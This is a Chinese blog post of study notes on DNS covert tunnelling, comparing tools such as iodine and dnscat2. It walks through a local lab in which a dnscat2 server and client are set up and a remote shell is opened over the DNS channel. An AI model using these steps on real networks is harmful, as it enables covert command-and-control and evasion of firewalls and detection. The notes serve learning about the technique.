DNS隐蔽隧道

一 前言

DNS上节说到,主要用来做域名解析的,但是黑客却可以通过将其他协议的内容封装再DNS协议中,然后通过DNS请求和响应来传输数据和完成控制,DNS服务作为互联网上最普遍的服务,防火墙和入侵检测设备一般都会放行,这就给黑客们有了可乘之机,以下为学习笔记。

二 DNS隧道的方式

2.1 分类

目前DNS隧道目前按照连接方式来分:直连隧道和中继隧道。
直连隧道 :用户直接和控制服务器通过DNS连接,由于直连不经过其他DNS服务器,所以速度快,但是很多用户是对DNS服务器是有配置要求的,只能配置特定的服务器,配置其他的DNS服务器不准许;另外这种方式由于直接连接的,很容易暴漏攻击服务器。

中继隧道: 利用DNS迭代查询方式,中间通过多个DNS服务器的跳转,跳转到最终的控制机,整个解析过程更长,所以性能没有直连好,还要防止DNS缓存。

DNS隧道

2.2 开源工具

网上有不少开源工具实现了DNS的隧道,对比如下:

软件名称 开发语言 特点 推荐
OzymanDNS perl 只有最初版本 不推荐
tcp-over-dns JAVA 跨平台 比较老
iodine C 直连和中继都支持速度快支持编码和请求类型 推荐
dns2tcp C 只直连未实现命令 不推荐
Dnscat2 客户端C服务器ruby 支持加密隧道,功能强大 推荐

2.3 关键技术

  • 在两种DNS 隧道中,用的最多的是中继方式,能让DNS服务器做递归查询,则需要每次查询均采用不同域名的,一句话是每次采用新域名的方式来保证走DNS查询。
  • 大多数场景 是服务器端没办法连客户端,因为防火墙或内网原因,所以多是通过客户端定时连接服务器端来保持状态。

三 实践

为了更好理解软件工作,二是为了获取相关的报文,准备搭建两个尝试下整个过程。
以更常用的Dnscat2为例测试,我以自己的windows机器来作为被控制方,里面的centos机器作为控制方测试。

3.1 安装

#windows下客户端下载地址
#解压密码为password ,windows下只有32位的。
https://downloads.skullsecurity.org/dnscat2/


#linux下服务器端安装
#安装ruby
$ yum install ruby
$ git clone https://github.com/iagox86/dnscat2.git
$ cd dnscat2/server/
$ gem install bundler
$ bundle install


3.2 运行

服务器端为ruby开发,所以需要先安装ruby才可以运行,因为只是简单测试,走直连模式,可以直接运行:

#缺了不少库采用以下方式安装
gem install ecdsa
gem install sha3
gem install salsa20
gem install trollop
gem install trollop

#服务器端命令
ruby ./dnscat2.rb  --secret 12345

#客户端命令
 ./dnscat --dns server=127.0.0.1,port=53 --secret=12345

3.3 遇到问题

[[ ERROR ]] :: DNS: RCODE_NAME_ERROR

可能原因,默认有密码的是随机的,所以最好指定密码,不然连不上。

/home/miaohq/dns2cat/dnscat2/server/tunnel_drivers/driver_dns.rb:316: warning: Capturing the given block using Kernel#proc is deprecated; use `&block` instead
New window created: 1
/home/miaohq/dns2cat/dnscat2/server/libs/settings.rb:166: warning: Capturing the given block using Kernel#proc is deprecated; use `&block` instead

查了半天竟然是ruby用的版本2.7的问题造成的调用警告。

输入:

#进入交互状态
session -i 1
#输入shell进入交互
command (localhost.localdomain) 1> shell
Sent request to execute a shell
command (localhost.localdomain) 1> New window created: 2
Shell session created!
#看下shell信息
dnscat2> windows
0 :: main [active]
  crypto-debug :: Debug window for crypto stuff [*]
  dns1 :: DNS Driver running on 0.0.0.0:53 domains =  [*]
  1 :: command (localhost.localdomain) [encrypted and verified]
  2 :: sh (localhost.localdomain) [encrypted and verified] [*]
#切换到shell
dnscat2> session -i 2
New window created: 2
history_size (session) => 1000
Session 2 Security: ENCRYPTED AND VERIFIED!
(the security depends on the strength of your pre-shared secret!)
This is a console session!
#输入命令:
sh (localhost.localdomain) 2> pwd
sh (localhost.localdomain) 2> /home/test/dns2cat/dnscat2/client

简单的过程:


DNS隧道利用

四 参考

https://blog.csdn.net/localhost01/column/info/32978

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
【社区内容提示】社区部分内容疑似由AI辅助生成,浏览时请结合常识与多方信息审慎甄别。
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

相关阅读更多精彩内容

  • 前言 关于DNS隧道的一些简单研究和利用。 DNS协议基础 域名系统(服务)协议(DNS)是一种分布式网络,主要用...
    Tide_诺言阅读 8,528评论 0 8
  • 1、前言 在当下互联网时代,我们日常生活和工作基本都离开不域名和 DNS ,如通过一个网址打开一个网站进行购物、使...
    cinder_lv阅读 9,187评论 1 27
  • 目录: 一些基本概念主机名DNS名称解析DNS 解析的后端存储名称解析总结 大规模域名解析的体系架构DNS 解析需...
    C86guli阅读 14,325评论 3 34
  • 前言 本文开始介绍应用层,传输层为应用进程提供了端到端的通信服务,但不同的网络应用的应用进程之间,还需要有不同的通...
    HRADPX阅读 6,083评论 2 5
  • @@@时间 2013-12-24 14:50:00** 博客园-原创精华区 原文 http://www.cn...
    苏文星阅读 5,281评论 0 7

友情链接更多精彩内容